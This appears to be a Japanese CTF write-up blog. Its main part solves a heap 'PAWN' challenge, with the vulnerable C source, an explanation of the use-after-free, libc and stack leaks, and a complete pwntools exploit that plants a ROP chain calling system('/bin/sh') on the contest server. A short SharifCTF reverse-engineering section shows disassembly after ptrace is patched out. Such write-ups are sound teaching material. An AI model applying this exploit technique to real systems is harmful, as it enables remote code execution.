flag: actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}

PAWN

use after free問題。とても楽しく糞コードを書いた問題。

他のwriteupをみる限り__malloc_hookをゴニョゴニョするのが王道らしいが、血迷った解法でなんとかなったので書き残しとく。

チェスっぽいプログラムが降ってくる。

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define tiles 8
#define bc 5

// who needs good code when you have macro spam
// also gotta parenthesize everything just in case
// also I apologize to anyone trying to understand my code
#define PEQ(A, B, C, D) (((A) == (C) && (B) == (D)) || ((A) == (D) && (B) == (C)))
#define PEQS(A, B, C, D) ((A) == (C) && (B) == (D))
#define ABS(A) (((A) < 0) ? -(A) : (A))
#define MIN(A, B) (((A) < (B)) ? (A) : (B))
#define MAX(A, B) (((A) > (B)) ? (A) : (B))
#define ITER(A, B, C) for (int C = MIN(A, B); C < MAX(A, B); C++)
#define RETI(A, B, C) for (int C = MAX(A, B); C > MIN(A, B); C--)
#define ITEREQ(A, B, C) for (int C = MIN(A, B); C <= MAX(A, B); C++)
#define RETIEQ(A, B, C) for (int C = MAX(A, B); C >= MIN(A, B); C--)
#define ITERNEQ(A, B, C) for (int C = MIN(A, B) + 1; C < MAX(A, B); C++)
#define RETINEQ(A, B, C) for (int C = MAX(A, B) - 1; C > MIN(A, B); C--)
#define DIR(A, B) (((A) == (B)) ? 0 : ((A) < (B)) ? 1 : -1)
#define GOTO(A, B, C) for (int C = (A); C != (B); C += DIR(A, B))
#define GOTOEQ(A, B, C) for (int C = (A); C != (B) + DIR(A, B); C += DIR(A, B))
#define GOTONEQ(A, B, C) for (int C = (A) + DIR(A, B); C != (B); C += DIR(A, B))

int t = 0;
char** boards[bc];
char starting[] =
    "RNBKQBNR\x00PPPPPPPP\x00........\x00........\x00........\x00........"
    "\x00pppppppp\x00rnbkqbnr";

// bitwise magic is magical
int is_lower_case(char c) { return c & 0x20; }

int is_upper_case(char c) { return !is_lower_case(c); }

char to_lower_case(char c) { return c | 0x20; }

char to_upper_case(char c) { return c & (~0x20); }

int is_letter(char c) {
    return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z');
}

char* make_board(char** b) {
    char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char));
    memcpy(bigmem, starting, sizeof(starting));
    for (int i = 0; i < tiles; i++) {
        b[i] = bigmem + i * 9;
    }
    return bigmem;
}

void print_board(char** b) {
    printf("  ");
    for (int i = 0; i < tiles; i++) {
        printf("%d", i);
    }
    puts("-x");
    for (int i = 0; i < tiles; i++) {
        printf("%d %s\n", i, b[i]);
    }
    puts("|\ny");
}

int move_piece(char** b, int ox, int oy, int nx, int ny) {
    char piece = b[oy][ox];
    if (!is_letter(piece)) {
        return 1;
    }
    char low = to_lower_case(piece);
    // standing still instead of moving
    if (PEQS(ox, oy, nx, ny)) {
        return 1;
    }
    // piece is on the same team
    if (is_letter(b[ny][nx]) &&
        is_lower_case(b[ny][nx]) == is_lower_case(piece)) {
        return 1;
    }
    if (low == 'p') {
        // pawns take forwards and don't have en passant
        // also they can jump over a piece on their starting move
        // deal with it
        if (nx != ox) {
            return 1;
        }
        int offset, dub;
        if (is_lower_case(piece)) {
            offset = oy - ny;
            dub = oy == tiles - 2;
        } else {
            offset = ny - oy;
            dub = oy == 1;
        }
        if (offset != 1 && !(offset == 2 && dub)) {
            return 1;
        }
    } else if (low == 'r') {
        if (ox != nx && oy != ny) {
            return 1;
        }
        if (ox == nx) {
            ITERNEQ(oy, ny, i) {
                if (is_letter(b[i][ox])) {
                    return 1;
                }
            }
        } else {
            ITERNEQ(ox, nx, i) {
                if (is_letter(b[oy][i])) {
                    return 1;
                }
            }
        }
    } else if (low == 'n') {
        if (!PEQ(ABS(nx - ox), ABS(ny - oy), 2, 1)) {
            return 1;
        }
    } else if (low == 'b') {
        int dx = ox - nx;
        int dy = oy - ny;
        if (ABS(dx) != ABS(dy)) {
            return 1;
        }
        GOTONEQ(0, dx, i) {
            if (is_letter(b[oy + i * DIR(oy, ny)][ox + i * DIR(ox, nx)])) {
                return 1;
            }
        }
    } else if (low == 'k') {
        // check detection is nonexistent
        // deal with it
        if (ABS(ox - nx) > 1 || ABS(oy - ny) > 1) {
            return 1;
        }
    } else if (low == 'q') {
        int dx = ox - nx;
        int dy = oy - ny;
        if (!dx || !dy) {
            if (ox == nx) {
                ITERNEQ(oy, ny, i) {
                    if (is_letter(b[i][ox])) {
                        return 1;
                    }
                }
            } else {
                ITERNEQ(ox, nx, i) {
                    if (is_letter(b[oy][i])) {
                        return 1;
                    }
                }
            }
        } else if (ABS(dx) == ABS(dy)) {
            GOTONEQ(0, dx, i) {
                if (is_letter(b[oy + i * DIR(oy, ny)][ox + i * DIR(ox, nx)])) {
                    return 1;
                }
            }
        }
        return 1;
    } else {
        return 1;
    }
    b[ny][nx] = piece;
    b[oy][ox] = '.';
    return 0;
}

int smite_piece(char** b, int x, int y) {
    if (is_letter(b[y][x])) {
        b[y][x] = t;
        return 0;
    }
    return 1;
}

int readint() {
    int ret;
    scanf("%d", &ret);
    return ret;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    for (int i = 0; i < bc; i++) {
        boards[i] = NULL;
    }
    while (1) {
        puts("What would you like to do?");
        puts("1) New Board");
        puts("2) Print Board");
        puts("3) Move Piece");
        puts("4) Smite Piece");
        puts("5) Delete Board");
        int action = readint();
        if (action == 1) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            boards[ind] = (char**)malloc(tiles * sizeof(char*));
            make_board(boards[ind]);
        } else if (action == 2) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            printf("Board %d:\n", ind);
            print_board(boards[ind]);
        } else if (action == 3) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            int ox, oy, nx, ny;
            puts(
                "Please provide the x and y values of the piece, separated by "
                "spaces.");
            scanf("%d %d", &ox, &oy);
            puts(
                "Please provide the x and y values of the position to move to, "
                "separated by spaces.");
            scanf("%d %d", &nx, &ny);
            if (move_piece(boards[ind], ox, oy, nx, ny)) {
                puts("Invalid move.");
            } else {
                puts("Move made.");
                t ++;
            }
        } else if (action == 4) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            int ox, oy;
            puts(
                "Please provide the x and y values of the piece, separated by "
                "spaces.");
            scanf("%d %d", &ox, &oy);
            if (smite_piece(boards[ind], ox, oy)) {
                puts("Smite failed.");
            } else {
                puts("Piece smotenified.");
            }
        } else if (action == 5) {
            puts("What is the board index?");
            int ind = readint();
            if (ind < 0 || ind > 4) {
                puts("The board index must be from 0-4");
                continue;
            }
            free(boards[ind][0]);
            free(boards[ind]);
        } else {
            puts("I don't know what that is.");
        }
    }
}

make_boardした後にdelete_boardしてもboards配列にアドレスが残るため、 freeされた領域に対して、print_boardを介して読み取り、move_peaceやsmite_peaceを介して書き込みを行うことができる。

freeされた領域に書き込むことができるのと、(十分に小さな)同じサイズのmallocを起こすことができるので、 freeされた領域に存在するmalloc_chunkを書き換えることで任意のアドレスをmallocの返り値にすることができる。

boards配列はまずmallocで作られたアドレスの格納されたtableを参照し、その先のbufferを読みに行く。 このtableとbufferはともにmallocで作られているため、 boards[0] -> tables[0] -> buf[0] boards[1] -> tables[1] -> buf[1] boards[2] -> buf[1] -> tables[0] というふうにmalloc_chunkを書き換えてつなぎ替えることによって、 任意のアドレスに対して読み書きを行えるようになる。

PIEではないので、pawnプログラム本体は常に0x400000に読み込まれ、pawn内の変数、関数に対してはアドレスを決め打ちすることができる。 FULL RELROなのでgot overwriteはできない。

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   64) Symbols   No    0       1       ./pawn

FULL RELROなバイナリは.plt領域に解決されたアドレスが書き込まれるため、libcの関数のアドレスを求めることができる。 libcは配布されているため、libcの関数のアドレスを用いてlibcのベースアドレスを求めることができる。

libcにはenvironという変数が存在しており、main関数の第3引数のアドレスの位置を求めることができる。 stackは変なコードでない限り相対位置は不変であるため、environの値を通して任意の関数のstackの位置を求めることができる。

stackにropgadgetsを仕組んでreturn-to-libcを行えればシェルを開くことができる。

make_boardのmemcpyを用いてropgadgetsをstack上に書き込む方向で考える。(※血迷いポイント)

char* make_board(char** b) {
    char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char));
    memcpy(bigmem, starting, sizeof(starting));
    for (int i = 0; i < tiles; i++) {
        b[i] = bigmem + i * 9;
    }
    return bigmem;
}

mallocでenvironから求めたstackのアドレスを返すようにし、 グローバル変数のstartingにropgadgetsを詰め込めば、 make_boardがreturnするときにsystem('/bin/sh')が走るはずである。 以上の方針を満たすようにソルバ糞コードを錬成した。

読み書きに関しては完全に自由ではなく、読み取りはprintf("%s")であるためnullまでしか読めず、 書き込みに使えそうなsmite_peaceはis_letter関数によるチェックをパスしなければならない。 そのため駒をボードの外に動かしたりして必要な分の駒を確保したり色々した。 以下当時の残骸糞コード(もう読めない)

import pwn

smite_t = 0
P_pos = (1, 7)
R_pos = (7, 7)
DEBUG=False

def debug_print(s, *args, **kwargs):
    global DEBUG
    if DEBUG:
        print(s, *args, **kwargs)

def read_until_menu(io):
    debug_print(io.recvuntil("5) Delete Board\n").decode(), end="")

def wrapper_menu(func):
    def f(io, *argc, **kwargs):
        ret = func(io, *argc, **kwargs)
        read_until_menu(io)
        return ret
    return f


@wrapper_menu
def make_board(io, index):
    io.sendline(b"1")
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

@wrapper_menu
def print_board(io, index):
    """ malloc """
    io.sendline(b'2')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)
    read_data = io.readuntil("|\ny")
    debug_print(read_data, end="")
    return read_data

@wrapper_menu
def delete_board(io, index):
    """ free """
    io.sendline(b'5')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

@wrapper_menu
def move_peace(io, index, from_pos, to_pos):
    global smite_t
    debug_print("move_peace: ", io, from_pos, to_pos)
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = from_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    x, y = to_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    ret = io.readline().decode()
    if "Invalid" in ret:
        raise

    smite_t += 1
    if smite_t ==256:
        smite_t = 0

    return

@wrapper_menu
def incriment_smite_t_move(io, index):
    global P_pos
    global smite_t
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = P_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    if x==1 and y==7:
        x = 0
        y = 5
    else:
        x = 1
        y = 7

    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    P_pos = (x, y)
    ret = io.readline().decode()
    if "Invalid" in ret:
        raise

    smite_t += 1
    if smite_t ==256:
        smite_t = 0

@wrapper_menu
def move_r(io, index, r_pos):
    global smite_t
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = r_pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    x += 1

    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    ret = (x, y)
    debug_print(io.readline().decode(), end="")

    smite_t += 1
    if smite_t ==256:
        smite_t = 0
    return ret

@wrapper_menu
def move_pwn_up(io, index, pos):
    global smite_t
    io.sendline(b'3')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = pos
    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    y -= 1

    debug_print(io.readline().decode(), end="")
    io.sendline("%d %d" % (x, y))

    pos = (x, y)
    debug_print(io.readline().decode(), end="")

    smite_t += 1
    if smite_t ==256:
        smite_t = 0

    return pos



@wrapper_menu
def smite_peace(io, index, smite_pos, first_line=True):
    global smite_t
    debug_print("[!] Write : ", hex(smite_t))
    io.sendline(b'4')
    debug_print(io.readline().decode(), end="")
    io.sendline(index)

    x, y = smite_pos
    if first_line:
        x = x + y*9
        y = 0
    print(x, y)
    debug_print(io.readline().decode(), end="")
    debug_print(io.sendline("%d %d" % (x, y)))

    debug_print(io.readline().decode(), end="")

def up_porn_to_board_top(io, index, to_y):
    for x in range(8):
        pos = (x, 6)

        while pos[1] > to_y:
            pos = move_pwn_up(io, index, pos)

def remove_board_null(io, index):
    pos_list = [
        ((7, 0), (8, 0)),
        ((8, 0), (8, 1)),
        ((8, 1), (8, 2)),
        ((8, 2), (8, 3)),
        ((8, 3), (8, 4)),
        ((8, 4), (8, 5)),
        ((8, 5), (8, 6)),
        ((8, 6), (8, 7)),
        ((8, 7), (8, 0)),
        ((8, 0), (7, 0)),
    ]
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

def move_rnbkqbn_to_board_top(io, index):
    ''' first move n and b '''
    pos_list = [
        ((1, 7), (0, 5)),
        ((0, 5), (1, 3)),

        ((2, 7), (0, 5)),
        ((0, 5), (2, 3)),

        ((5, 7), (3, 5)),
        ((3, 5), (5, 3)),

        ((6, 7), (7, 5)),
        ((7, 5), (6, 3)),

        ((0, 7), (0, 3)),
        ((7, 7), (7, 3)),

        ((3, 7), (3, 6)),
        ((3, 6), (3, 5)),
        ((3, 5), (3, 4)),
        ((3, 4), (3, 3)),
    ]
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

    ''' overwrite q to r '''
    while smite_t != ord('r'):
        incriment_smite_t_move(io, '4')

    smite_peace(io, index, (4, 7))
    move_peace(io, index, (4, 7), (4, 3))
# 0
# 1
# 2 pppppppp
# 3 .n......
# 4 ........
# 5 b.......
# 6 ........
# 7 r..kqbnr
# |
# y


def write_to_mem(io, index, payload, position_y=0, offset=0, use_pos=False):
    global smite_t
    print("payload: ", payload)
    if use_pos:
        for i, p in enumerate(payload):
            #debug_print("p:", p)
            while p != smite_t:
                incriment_smite_t_move(io, '4')
            smite_peace(io, index, (i + (offset), position_y), first_line=False)
    else:
        for i, p in enumerate(payload):
            #debug_print("p:", p)
            while p != smite_t:
                incriment_smite_t_move(io, '4')
            smite_peace(io, index, (i + (position_y*8) + offset, 0))

def parse_data(data):
    start = len('Board 0:\n  01234567-x\n0 ')
    end = data.find(b'\n', start+1)
    return data[start:end]

def parse_data2(data):
    start = len('Board 0:\n  01234567-x\n0 ')
    start = data.find(b'\n', start+1)
    end = data.find(b'\n', start+3)

    return data[start:end]

def change_all_peace_to_r(io, index):
    # !! Use to Default board !!
    global smite_t
    p = ord('r')
    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for y in [0, 1, 6, 7]:
        for x in range(8):
            smite_peace(io, index, (x, y))

def change_under_peace_to_r(io, index):
    # !! Use to Default board !!
    global smite_t
    p = ord('r')
    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for y in [6, 7]:
        for x in range(8):
            smite_peace(io, index, (x, y))

def fill_only_first_line_use_six_line(io, index):
    pos_list = [
        ((0, 6), (0, 0)),
        ((1, 6), (1, 0)),
        ((2, 6), (2, 0)),
        ((3, 6), (3, 0)),
        ((4, 6), (4, 0)),
        ((5, 6), (5, 0)),
        ((6, 6), (6, 0)),
        ((7, 6), (7, 0)),

        ((7, 7), (8, 7)),
        ((8, 7), (8, 0)),
    ]
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

def fill_all_r_to_top(io, index):
    pos_list = [
        ((0, 6), (0, 2)),
        ((1, 6), (1, 2)),
        ((2, 6), (2, 2)),
        ((3, 6), (3, 2)),
        ((4, 6), (4, 2)),
        ((5, 6), (5, 2)),
        ((6, 6), (6, 2)),
        ((7, 6), (7, 2)),
        ((0, 7), (0, 3)),
        ((1, 7), (1, 3)),
        ((2, 7), (2, 3)),
        ((3, 7), (3, 3)),
        ((4, 7), (4, 3)),

        ((7, 7), (8, 7)),
        ((8, 7), (8, 0)),
        
        ((6, 7), (8, 7)),
        ((8, 7), (8, 1)),

        ((5, 7), (8, 7)),
        ((8, 7), (8, 2)),
    ]
    
    for from_pos, to_pos in pos_list:
        move_peace(io, index, from_pos, to_pos)

### ROUke Utilirty ###
def fill_line_to_r(io, index, line):
    global smite_t
    p = ord('r')

    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for i in range(8):
        smite_peace(io, index, (i, line))

def fill_r_in_range(io, index, line, start, end):
    global smite_t
    p = ord('r')
    while p != smite_t:
        incriment_smite_t_move(io, '4')

    for i in range(start, end):
        smite_peace(io, index, (i, line))

def lshift_r_in_range(io, index, line, start, end, offset):
    for i in range(start, end):
        for j in range(offset):
            print("move", (i-j, line))
            move_peace(io, index, (i-j, line), (i-1-j, line))

### PAWN Utilirty ###

def fill_line_to_P(io, index, line):
    global smite_t
    p = ord('P')

    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for i in range(8):
        smite_peace(io, index, (i, line))

def fill_line_to_p(io, index, line):
    global smite_t
    p = ord('p')

    while p != smite_t:
        incriment_smite_t_move(io, '4')
    for i in range(8):
        smite_peace(io, index, (i, line))

def double_up_P_line(io, index, line):
    for i in range(8):
        move_peace(io, index, (i, line), (i, line-2))

def one_up_P_line(io, index, line):
    for i in range(8):
        move_peace(io, index, (i, line), (i, line-1))


def fill_board(io, index):
    counter = 40
    while counter > 0:
        move_length = 2 + counter
        r_pos = (7, 7)
        for i in range(move_length):
            r_pos = move_r(io, index, r_pos)
            read_data = print_board(io, index)
            print(read_data)
        counter -= 1

        delete_board(io, index)
        make_board(io, index)

    remove_board_null(io, index)
    up_porn_to_board_top(io, index, 2)
    move_rnbkqbn_to_board_top(io, index)

    print("Move r to slide")
    to_y = 4
    while counter < 32:
        for i in range(8):
            target_pos = (10 + counter, 7)
            while target_pos != (i, 7):
                from_pos = target_pos
                to_pos = (from_pos[0] - 1, from_pos[1])
                move_peace(io, index, from_pos, to_pos)
                target_pos = to_pos
            counter += 1

        if to_y != 7:
            for j in range(8):
                move_peace(io, index, (j, 7), (j, to_y))
        to_y += 1

    to_y = 0
    while counter < 40:
        target_pos = (10 + counter, 7)
        while target_pos != (8, 7):
            from_pos = target_pos
            to_pos = (from_pos[0] - 1, from_pos[1])
            move_peace(io, index, from_pos, to_pos)
            target_pos = to_pos
        if to_y != 7:
            move_peace(io, index, target_pos, (8, to_y))
        to_y += 1
        counter += 1



def solve(io):
    """
    3 makeboard and 3 deleteboard
    malloc * 6 and free * 6
    leak malloc chank addr
    """
    make_board(io, '0')
    make_board(io, '1')
    make_board(io, '2')
    make_board(io, '4')

    delete_board(io, '0')
    delete_board(io, '1')
    delete_board(io, '2')

    #change_under_peace_to_r(io, '1')

    l = len('Board 2:\n  01234567-x\n0 ')
    read_data = print_board(io, '2')
    next_malloc_addr =read_data[l:l+4]
    debug_print(hex(pwn.unpack(next_malloc_addr)))

    read_data = print_board(io, '0')
    default_data = b'Board 2:\n  01234567-x\n0 P\x13\xc7\n1 \n2 ........\n3 ........\n4 ........\n5 ........\n6 pppppppp\n7 rnbkqbnr\n|\ny'
    default_data_len = pre_data_len = len(default_data)

    offset_counter = 0
    r_pos = (7, 7)
    while True:
        offset_counter +=1
        r_pos = move_r(io, '0', r_pos)
        read_data = print_board(io, '0')
        data_len = len(read_data)
        if data_len > pre_data_len+2:
            first = pre_data_len -3
            addr_len = data_len - pre_data_len -1
            break
        pre_data_len = data_len
    first = pre_data_len-3

    debug_print("Offset: ", offset_counter)
    debug_print(read_data)
    debug_print(read_data[first:first+addr_len])
    addr_b = read_data[first:first+addr_len].ljust(4, b'\x00')
    print(hex(pwn.unpack(addr_b[:4])))

    default_free_addr = parse_data(print_board(io, '2')).ljust(4, b'\x00')
    print(default_free_addr)
    input()
    debug_print(default_free_addr)
    write_to_mem(io, '2', addr_b)

    # !!! Board 2 Recreate
    # !!! So reset Position
    make_board(io, '2')
    #global P_pos
    #P_pos = (1, 7)

    make_board(io, '3')

    # stage 2: lead libc_base_address
    # fill r in board 3 
    # ### fill Board ###
    fill_board(io, '3')
    ###### Fill board #####


    # #### write Board 3 to libc_free_addr_ptr
    #payload = next_malloc_addr.ljust(8, b'\x00')
    for i in range(8):
        payload = pwn.pack(0x403f98 + i).ljust(8, b'\x00')
        write_to_mem(io, '3', payload, position_y=i)

    debug_print(print_board(io, '3'))
    debug_print(print_board(io, '1'))
    read_data = print_board(io, '0')
    debug_print(read_data)
    debug_print(parse_data(read_data))
    pd = parse_data(read_data).ljust(8, b'\x00')
    debug_print(pd)
    libc_free_addr = pwn.unpack(pd, word_size=64)
    print('[Guess] libc_free addr: ', hex(libc_free_addr))
    libc_base = libc_free_addr - 0x9d850
    print('[Guess] libc_base addr: ', hex(libc_base))
    environ_addr = libc_base + 0x1ef2e0
    print('[Guess] environ addr: ', hex(environ_addr))

    #### stage 3 : leak environ and stack_addr ####
    print('[!] Stage 3 ')

    # reset board 3
    delete_board(io, '3')
    make_board(io, '3')
    fill_board(io, '3')

    for i in range(8):
        payload = pwn.pack(environ_addr, word_size=64)
        write_to_mem(io, '3', payload, position_y=i)

    read_data = print_board(io, '0')
    stack_addr = pwn.unpack(parse_data(read_data).ljust(8, b'\x00'), word_size=64)
    debug_print(read_data)
    debug_print(parse_data(read_data))
    print('stack addr->', pwn.unpack(parse_data(read_data).ljust(8, b'\x00'), word_size=64))

    delete_board(io, '3')


    # stage 4 : overwride starting buf
    print('[!] Stage 4 ')
    starting_addr = 0x404020
    make_board(io, '3')
    fill_board(io, '3')

    #for i in [0, 1, 2, 3, 6, 7]:
    for i in [0]:
        payload = pwn.pack(starting_addr+i*9, word_size=64)
        write_to_mem(io, '3', payload, position_y=i)

    fill_r_in_range(io, '0', 0, 9, 18)
    fill_r_in_range(io, '0', 0, 54, 63)
    fill_r_in_range(io, '0', 0, 63, 72)
    lshift_r_in_range(io, '0', 0, 9, 17, 1)
    lshift_r_in_range(io, '0', 0, 54, 62, 38)
    lshift_r_in_range(io, '0', 0, 63, 71, 39)


    #change_all_peace_to_r(io, '0')
    #fill_all_r_to_top(io, '0')
#    double_up_P_line(io, '0', 6)
#    one_up_P_line(io, '0', 4)
#    one_up_P_line(io, '0', 3)
#
#    fill_line_to_p(io, '0', 7)
#    one_up_P_line(io, '0', 7)
#    double_up_P_line(io, '0', 6)
#    one_up_P_line(io, '0', 4)
#
#    fill_line_to_r(io, '0', 3)
#
#    move_peace(io, '0', (7,3), (8,3))
#    move_peace(io, '0', (8,3), (8,0))
#    move_peace(io, '0', (6,3), (8,3))
#    move_peace(io, '0', (8,3), (8,1))
#    move_peace(io, '0', (5,3), (8,3))
#    move_peace(io, '0', (8,3), (8,2))

    print(print_board(io, '3'))

    delete_board(io, '3')
    print(print_board(io, '3'))

    fill_line_to_P(io, '2', 0)
    for i in range(8):
        move_peace(io, '2', (i, 1), (i, 2))
        move_peace(io, '2', (i, 2), (i, 3))
        move_peace(io, '2', (i, 0), (i, 1))
        move_peace(io, '2', (i, 1), (i, 2))
    delete_board(io, '2')

    print("default:", pwn.unpack(default_free_addr, word_size=32))
    print("overwide:", pwn.unpack(addr_b, word_size=32))

    payload = pwn.pack(starting_addr, word_size=64)
    write_to_mem(io, '3', payload, offset=32)

    # setting rop gadget
    libc_system = libc_base + 0x0055410
    libc_binsh = libc_base + 0x1b75aa
    libc_pop_rdi = libc_base + 0x00026b72
    libc_ret = libc_pop_rdi + 1

    payload = pwn.pack(libc_pop_rdi, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=0, use_pos=True)

    payload = pwn.pack(libc_binsh, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=8, use_pos=True)

    payload = pwn.pack(libc_ret, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=16, use_pos=True)

    payload = pwn.pack(libc_system, word_size=64)
    write_to_mem(io, '0', payload, position_y=4, offset=24, use_pos=True)

    #read_data = print_board(io, '0')
    #debug_print(read_data)

    # stage5 : overwrite stack buf
    diff = 336

    target_stack_addr = stack_addr - diff
    payload = pwn.pack(target_stack_addr, word_size=64)

    for i in range(8):
        move_peace(io, '3', (i, 2), (i, 1))
        move_peace(io, '3', (i, 1), (i, 0))
    write_to_mem(io, '3', payload)

    new_free_addr = parse_data(print_board(io, '1')).ljust(8, b'\x00')
    backup_stab = parse_data2(print_board(io, '1')).ljust(8, b'\x00')

    fill_line_to_p(io, '2', 2)
    for i in range(8):
        move_peace(io, '2', (i, 2), (i, 1))
        move_peace(io, '2', (i, 1), (i, 0))
    write_to_mem(io, '2', backup_stab, offset=8)
    write_to_mem(io, '2', new_free_addr)

    print(backup_stab)
    print(hex(pwn.unpack(new_free_addr, word_size=64)))
    #pwn.gdb.attach(io)
    make_board(io, '4')
    io.interactive()
    make_board(io, '4')





#io = pwn.process("./pawn")
io = pwn.remote("shell.actf.co", 21706)
read_until_menu(io)

solve(io)

io.interactive()

malloc先をつなぎ替えるために、確保される領域が近いことを期待して隣のmalloc領域を読みに行っているため、たまに失敗する。 ropで一回retを挟んでいるのは以下の記事参照。

stackoverflow.com

flag: f:id:b_tya_nya:20210507141836p:plain

*1:K1&P) ^ K1

*2:K2 & ((K1&P) ^ K1

SharifCTF 7

SCrack(Reverse150)

ptraceによるアンチデバッグなelf64が降ってくる。

nopで埋めてgdbでちまちま読む。

該当箇所

   0x0000000000400ad4 <+135>:   cmp    al,0x38
   0x0000000000400ad6 <+137>:   jne    0x400e98 <main+1099>
   0x0000000000400adc <+143>:   movzx  eax,BYTE PTR [rbp-0x4f]
   0x0000000000400ae0 <+147>:   cmp    al,0x37
   0x0000000000400ae2 <+149>:   jne    0x400e98 <main+1099>
   0x0000000000400ae8 <+155>:   movzx  eax,BYTE PTR [rbp-0x4e]
   0x0000000000400aec <+159>:   cmp    al,0x34
   0x0000000000400aee <+161>:   jne    0x400e98 <main+1099>
   0x0000000000400af4 <+167>:   movzx  eax,BYTE PTR [rbp-0x4d]
   0x0000000000400af8 <+171>:   cmp    al,0x30
   0x0000000000400afa <+173>:   jne    0x400e98 <main+1099>
   0x0000000000400b00 <+179>:   movzx  eax,BYTE PTR [rbp-0x4c]
   0x0000000000400b04 <+183>:   cmp    al,0x33
   0x0000000000400b06 <+185>:   jne    0x400e98 <main+1099>
   0x0000000000400b0c <+191>:   movzx  eax,BYTE PTR [rbp-0x4b]
   0x0000000000400b10 <+195>:   cmp    al,0x38
   0x0000000000400b12 <+197>:   jne    0x400e98 <main+1099>
   0x0000000000400b18 <+203>:   movzx  eax,BYTE PTR [rbp-0x4a]
   0x0000000000400b1c <+207>:   cmp    al,0x65
   0x0000000000400b1e <+209>:   jne    0x400e98 <main+1099>
   0x0000000000400b24 <+215>:   movzx  eax,BYTE PTR [rbp-0x49]
   0x0000000000400b28 <+219>:   cmp    al,0x34
   0x0000000000400b2a <+221>:   jne    0x400e98 <main+1099>
   0x0000000000400b30 <+227>:   movzx  eax,BYTE PTR [rbp-0x48]
   0x0000000000400b34 <+231>:   cmp    al,0x62
   0x0000000000400b36 <+233>:   jne    0x400e98 <main+1099>
   0x0000000000400b3c <+239>:   movzx  eax,BYTE PTR [rbp-0x47]
   0x0000000000400b40 <+243>:   cmp    al,0x36
   0x0000000000400b42 <+245>:   jne    0x400e98 <main+1099>
   0x0000000000400b48 <+251>:   movzx  eax,BYTE PTR [rbp-0x46]
   0x0000000000400b4c <+255>:   cmp    al,0x65
   0x0000000000400b4e <+257>:   jne    0x400e98 <main+1099>
   0x0000000000400b54 <+263>:   movzx  eax,BYTE PTR [rbp-0x45]
   0x0000000000400b58 <+267>:   cmp    al,0x32
   0x0000000000400b5a <+269>:   jne    0x400e98 <main+1099>
   0x0000000000400b60 <+275>:   movzx  eax,BYTE PTR [rbp-0x44]
   0x0000000000400b64 <+279>:   cmp    al,0x39
   0x0000000000400b66 <+281>:   jne    0x400e98 <main+1099>
   0x0000000000400b6c <+287>:   movzx  eax,BYTE PTR [rbp-0x43]
   0x0000000000400b70 <+291>:   cmp    al,0x62
   0x0000000000400b72 <+293>:   jne    0x400e98 <main+1099>
   0x0000000000400b78 <+299>:   movzx  eax,BYTE PTR [rbp-0x42]
   0x0000000000400b7c <+303>:   cmp    al,0x66
   0x0000000000400b7e <+305>:   jne    0x400e98 <main+1099>
   0x0000000000400b84 <+311>:   movzx  eax,BYTE PTR [rbp-0x41]
   0x0000000000400b88 <+315>:   cmp    al,0x30
   0x0000000000400b8a <+317>:   jne    0x400e98 <main+1099>
   0x0000000000400b90 <+323>:   movzx  eax,BYTE PTR [rbp-0x40]
   0x0000000000400b94 <+327>:   cmp    al,0x38
   0x0000000000400b96 <+329>:   jne    0x400e98 <main+1099>
   0x0000000000400b9c <+335>:   movzx  eax,BYTE PTR [rbp-0x3f]
   0x0000000000400ba0 <+339>:   cmp    al,0x39
   0x0000000000400ba2 <+341>:   jne    0x400e98 <main+1099>
   0x0000000000400ba8 <+347>:   movzx  eax,BYTE PTR [rbp-0x3e]
   0x0000000000400bac <+351>:   cmp    al,0x38
   0x0000000000400bae <+353>:   jne    0x400e98 <main+1099>
   0x0000000000400bb4 <+359>:   movzx  eax,BYTE PTR [rbp-0x3d]
   0x0000000000400bb8 <+363>:   cmp    al,0x62
   0x0000000000400bba <+365>:   jne    0x400e98 <main+1099>
